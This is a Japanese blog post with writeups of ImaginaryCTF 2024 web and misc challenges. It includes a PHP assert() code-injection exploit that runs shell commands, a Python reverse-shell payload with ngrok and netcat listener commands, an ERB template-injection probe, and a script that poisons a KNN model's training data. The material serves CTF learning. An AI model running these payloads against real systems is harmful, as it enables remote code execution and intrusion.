2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

ImaginaryCTF 2024 Writeups

2
Posted at

はじめに

今回は7人チームと過去最大規模のチームで大会に挑みました。
結果としては1457チーム中198位でした。

Screenshot 2024-07-22 at 8.58.16.png

今回は三重セキュリティミニキャンプに参加した学生さんや私の後輩も参加してくれました。
一緒にCTFをやる人が増えたので、嬉しいです。
私はWebとMiscを中心に解いたので、その中で面白かった問題を解説します。

Web

Journal

ルートページに行くと以下のような画面が表示されます。

Screenshot 2024-07-22 at 9.56.06.png

file1.txtをクリックするとURLが以下のように変わります。

http://journal.chal.imaginaryctf.org/?file=file1.txt

最初はパストラバーサルかと思い、../../../../etc/passwdなどを試しましたが、WAFに引っかかってダメでした。
配布されたソースコードは以下のindex.phpとDockerfileだけです。
以下にDockerfileの中身を示します。

FROM php:7-apache

RUN /usr/sbin/useradd -u 1000 user

COPY index.php /var/www/html/
RUN chown -R www-data:www-data /var/www/html && \
    chmod -R 444 /var/www/html && \
    chmod 555 /var/www/html

COPY flag.txt /flag.txt
COPY files /var/www/html/files/
RUN mv /flag.txt /flag-`tr -dc A-Za-z0-9 < /dev/urandom | head -c 20`.txt

VOLUME /var/log/apache2
VOLUME /var/run/apache2

CMD bash -c 'source /etc/apache2/envvars && APACHE_RUN_USER=user APACHE_RUN_GROUP=user /usr/sbin/apache2 -D FOREGROUND'

flagファイルはルートディレクトリにランダムな値のファイル名として格納されていることが分かります。
次にindex.phpのコードを示します。

<?php

echo "<p>Welcome to my journal app!</p>";
echo "<p><a href=/?file=file1.txt>file1.txt</a></p>";
echo "<p><a href=/?file=file2.txt>file2.txt</a></p>";
echo "<p><a href=/?file=file3.txt>file3.txt</a></p>";
echo "<p><a href=/?file=file4.txt>file4.txt</a></p>";
echo "<p><a href=/?file=file5.txt>file5.txt</a></p>";
echo "<p>";

if (isset($_GET['file'])) {
  $file = $_GET['file'];
  $filepath = './files/' . $file;

  assert("strpos('$file', '..') === false") or die("Invalid file!");

  if (file_exists($filepath)) {
    include($filepath);
  } else {
    echo 'File not found!';
  }
}

echo "</p>";

最終的なパスは./files/$fileになります。
指定したパスが存在しない場合はFile not foundとなります。
WAFではassert関数によるパストラバーサルチェックを行なっていますが、ここであることを思い出しました。
assert関数を使ってphpコードを実行できるというものです。
やることは簡単で、assert関数の第1引数ではphpコードが実行されるので、fileパラメータにstrpos関数からエスケープする文字列を入れた後に、本命のphpコードを記述するだけです。
以下にExploitコードを示します。

import requests


if __name__ == "__main__":
    base_url = "http://journal.chal.imaginaryctf.org"
    command = "ls /"
    flag_file = ""
    res = requests.get(base_url + f"/?file=?file=a','NeVeR') === false and system('{command}') and strpos('a")
    for line in res.text.split("\n"):
        if line.find("flag") == 0:
            flag_file = line
    print(f"flag file: {flag_file}")
    command = f"cat /{flag_file}"
    res = requests.get(base_url + f"/?file=?file=a','NeVeR') === false and system('{command}') and strpos('a")
    print(res.text)

Screenshot 2024-07-22 at 10.19.56.png

P2C

ルートページに行くと、以下の画面が表示されます。

Screenshot 2024-07-22 at 10.22.22.png

適当にpythonコードを記述して実行ボタンを押すと画面の色が変わります。

Screenshot 2024-07-22 at 10.27.07.png

Screenshot 2024-07-22 at 10.27.12.png

ソースコードを見てみましょう。
入力したコードはcodeとしてBODYに入れられ、xec関数の第一引数として使用されます。

@app.route('/', methods=["GET", "POST"])
def index():
    res = None
    if request.method == "POST":
        code = request.form["code"]
        res = xec(code)

xec関数は以下のようになっています。

def xec(code):
    code = code.strip()
    indented = "\n".join(["    " + line for line in code.strip().splitlines()])

    file = f"/tmp/uploads/code_{md5(code.encode()).hexdigest()}.py"
    with open(file, 'w') as f:
        f.write("def main():\n")
        f.write(indented)
        f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")

    with open(file, "r") as f:
        print(f.readlines())
    os.system(f"chmod 755 {file}")

    try:
        res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)
        output = res.stdout
    except Exception as e:
        print("EXCEPTION OCCURED")
        output = None

    os.remove(file)

    return output

どうやらcodeはmain関数内に埋め込まれ、その返り値をrgb_parseの第一引数に使用しているようです。
そして標準出力にはrgb_parseの返り値が返ってきています。
rgb_parseのコードも見ておきましょう。

import sys

if "random" not in dir():
   import random

def rgb_parse(inp=""):
   inp = str(inp)
   randomizer = random.randint(100, 1000)
   total = 0
   for n in inp:
      n = ord(n)
      total += n+random.randint(1, 10)
   rgb = total*randomizer*random.randint(100, 1000)
   rgb = str(rgb%1000000000)
   r = int(rgb[0:3]) + 29
   g = int(rgb[3:6]) + random.randint(10, 100)
   b = int(rgb[6:9]) + 49
   r, g, b = r%256, g%256, b%256
   return r, g, b

どうやらmain関数の返り値はrgbの値を生成するために使用されているようです。
xec関数は最終的にrgb_parseの返り値を自身の返り値とします。
先ほどのindex関数の後半を見てみると、xec関数の返り値がrgbというテンプレートの変数に格納されて描画されていることが分かります。

code = request.form["code"]
res = xec(code)
valid = re.compile(r"\([0-9]{1,3}, [0-9]{1,3}, [0-9]{1,3}\)")
if res == None:
    return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
if valid.match("".join(res.strip().split("\n")[-1])):
    return render_template("index.html", rgb="rgb" + "".join(res.strip().split("\n")[-1]
return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")

これらの事から、入力されたコードはrbgの値を生成するために使用されている事が分かります。
main関数にコードをサニタイジング無しで埋め込んでいることから、OS Commandインジェクションが可能になります。
ですがsubprocess.runのタイムアウトが0.1に設定されているので、コマンドを実行し、実行結果をrequestcatcherへ送るといったことはできそうにありません。
そこでreverse shellでサーバと自身のPCとの間で違うコネクションを確立させてから、lsコマンドなどで情報を得ようと考えました。
まずngrokでインターネットからのアクセスを通るようにします。

ngrok tcp 8000

次にnetcatでアクセスを待ち受けます。*1

nc -l 0.0.0.0 8000

最後にExploitコードを実行します。

import requests
import sys


if __name__ == "__main__":
    ip = sys.argv[1]
    port = int(sys.argv[2])
    base_url = "http://p2c.chal.imaginaryctf.org/"
    payload = f"__import__('os').system(\"\"\"python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'\"\"\")"
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {"code": payload}
    res = requests.post(base_url, headers=headers, data=data)
    print(res.text)

するとshellが取れます。

Screenshot 2024-07-22 at 11.00.01.png

後はフラグを探し出して、出力するだけです。

Screenshot 2024-07-22 at 11.01.29.png

*1: netcatコマンドはmacのものです。

Crystals

ルートページに行くと以下の画面が表示されます。

Screenshot 2024-07-22 at 11.02.30.png

フラグはどこにあるのかと探していると、docker-compose.ymlに面白い記述がありました。

version: '3.3'
services:
  deployment:
    hostname: $FLAG
    build: .
    ports:
      - 10001:80

どうやらフラグはコンテナのホスト名に格納されているらしいです。
とりあえずソースコードを見てみます。

require 'sinatra'

# Route for the index page
get '/' do
  erb :index
end

sinatraとerbテンプレートエンジンを使っているということだけ分かりました。
sinatraでは、存在しないパスを指定した際にそのパス名を表示するという仕様があったのを思い出し、試してみました。
さらにパス名を使ってSSTIが可能なのではと思い、それも同時に試しました。
試したパスはhttp://crystals.chal.imaginaryctf.org/<%= 7*7 %>です。

Screenshot 2024-07-22 at 11.16.05.png

Bad Requestと怒られてしまいました。
それから適当にfuzzingしていると、任意のパラメータにSSTIのペイロードを埋め込むとnginxがエラーを吐きました。
そこにコンテナの名前が記載されており、フラグ取得となりました。

Screenshot 2024-07-22 at 11.18.48.png

この問題は適当にfuzzingしただけで解けてしまったので、5分で解けました。
かなり拍子抜けです。
一応フラグが取得できた時のURLを以下に示しておきます。
http://crystals.chal.imaginaryctf.org/?exploit=<%= 7*7 %>

Misc

Starship

個人的にかなり面白かった問題です。
まずは問題サーバにアクセスしてみます。
するとプロンプトが出てくるので、適当に動かしてみます。

Screenshot 2024-07-22 at 11.24.50.png

Screenshot 2024-07-22 at 11.25.20.png

Screenshot 2024-07-22 at 11.25.43.png

Screenshot 2024-07-22 at 11.26.31.png

Screenshot 2024-07-22 at 11.26.59.png

1を選ぶと学習データらしきものが表示され、2を選ぶと学習データを基に学習を行い、3を選ぶと入力したデータがenemyかfriendlyかを学習データを基に判定し、4は2つのデータがenemyかfriendlyかの判定を行なっているようです。
ここでソースコードを見てみます。

#!/usr/bin/env python3

import pandas as pd
from io import StringIO
from sklearn.neighbors import KNeighborsClassifier
from gen import gen_data

done = False
flag = open("flag.txt").read().strip()

def menu():
  print("1. show dataset")
  print("2. train model")
  print("3. predict state")
  print("4. check incoming objects")

def train_dataset(dataset):
  df = pd.read_csv(StringIO(dataset))
  X, y = df.iloc[:, :-1].values, df.iloc[:, -1].values
  model = KNeighborsClassifier(n_neighbors=3)
  model.fit(X, y)
  return model

if __name__ == "__main__":
  print("<[ missle defense system control panel ]>")
  menu()

  print("initializing...")
  while True:
    dataset, incoming = gen_data()
    model = train_dataset(dataset)
    pred1 = model.predict([list(map(int, incoming[0].split(",")))])
    pred2 = model.predict([list(map(int, incoming[1].split(",")))])
    if pred1[0] == "enemy" and pred2[0] == "enemy":
      break

  while True:
    choice = int(input("> "))
    if choice == 1:
      print("--- BEGIN DATASET ---")
      print(dataset)
      print("--- END DATASET ---")
    if choice == 2:
      model = train_dataset(dataset)
      print("model trained!")
    if choice == 3:
      inp = input("enter data: ")
      pred = model.predict([list(map(int, inp.split(",")))])
      print(f"result: {pred}")
    if choice == 4:
      pred1 = model.predict([list(map(int, incoming[0].split(",")))])
      pred2 = model.predict([list(map(int, incoming[1].split(",")))])
      print(f"target 1: {incoming[0]} | result: {pred1[0]}")
      print(f"target 2: {incoming[1]} | result: {pred2[0]}")
      if pred1[0] == "friendly" and pred2[0] == "friendly":
        print(f"flag: {flag}")
    if choice == 42 and not done:
      inp = input("enter data: ")
      inp = inp.split(",")
      for i in range(9):
        inp[i] = int(inp[i])
      if len(inp) == 10:
        dataset = dataset.strip() + "\n" + ",".join(map(str,inp))
        done = True

4を入力した時にランダムに選択された2つのデータが両方ともfriendlyであればフラグが出力されることが分かりました。
隠しオプションとして42があり、これは任意の学習データを1つだけ既存の学習データに加えることができるものです。
なので、1つの学習データで2つのデータをenemyからfriendly判定に書き換える必要があります。
私は直感的に2つの値の平均値を入力すれば、両方ともfriendly判定になる確率が高まるのではと考えました。
以下にExploitコードを示します。

from pwn import *


def recv(max_buf_size):
    buf = io.recv(max_buf_size).decode("utf-8")
    lines = buf.split("\n")
    for line in lines:
        print(line)
    return lines

def retrieve_two_data(buf_lines):
    data = []
    end_symbol_idx = 0
    # 最後の>というプロンプトマークが紛れている事があるので
    # 確実に2つのデータが表示されている行だけを抜き取る
    buf_lines = buf_lines[:2]
    for line in buf_lines:
        end_symbol_idx = line.find("|")
        data.append(line[10:end_symbol_idx - 1])
    for i in range(len(data)):
        data[i] = [int(d) for d in data[i].split(",")]
    return data

def calc_average(data):
    average = []
    temp = ""
    for i in range(len(data[0])):
        average.append(int((data[0][i] + data[1][i]) / 2))
    return average

if __name__ == "__main__":
    max_buf_size = 1024
    two_data = []
    average = []
    payload = ""
    io = remote("starship.chal.imaginaryctf.org", 1337)
    recv(max_buf_size)
    recv(max_buf_size)
    io.sendline(b"4")
    two_data = retrieve_two_data(recv(max_buf_size))
    average = calc_average(two_data)
    payload = ",".join([str(avg) for avg in average]) + ",friendly"
    print(two_data)
    print(average)
    io.sendline(b"42")
    recv(max_buf_size)
    io.sendline(payload.encode("utf-8"))
    recv(max_buf_size)
    io.sendline(b"2")
    recv(max_buf_size)
    io.sendline(b"4")
    recv(max_buf_size)
    io.close()

実行すると、予想通り両方ともfriendly判定となりフラグが貰えました。*1

Screenshot 2024-07-22 at 12.08.02.png

*1: 両方friendly判定される確立を上げるだけなので、片方だけしかfriendly判定にならない場合もあります。

おわりに

今回は私が解いた問題の中で面白いと思ったものを解説しました。
大会の感想としては、Webの難しい問題が難しすぎて解けなかったのが悔しかったです。
writeupが出たらしっかりと復習します。

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?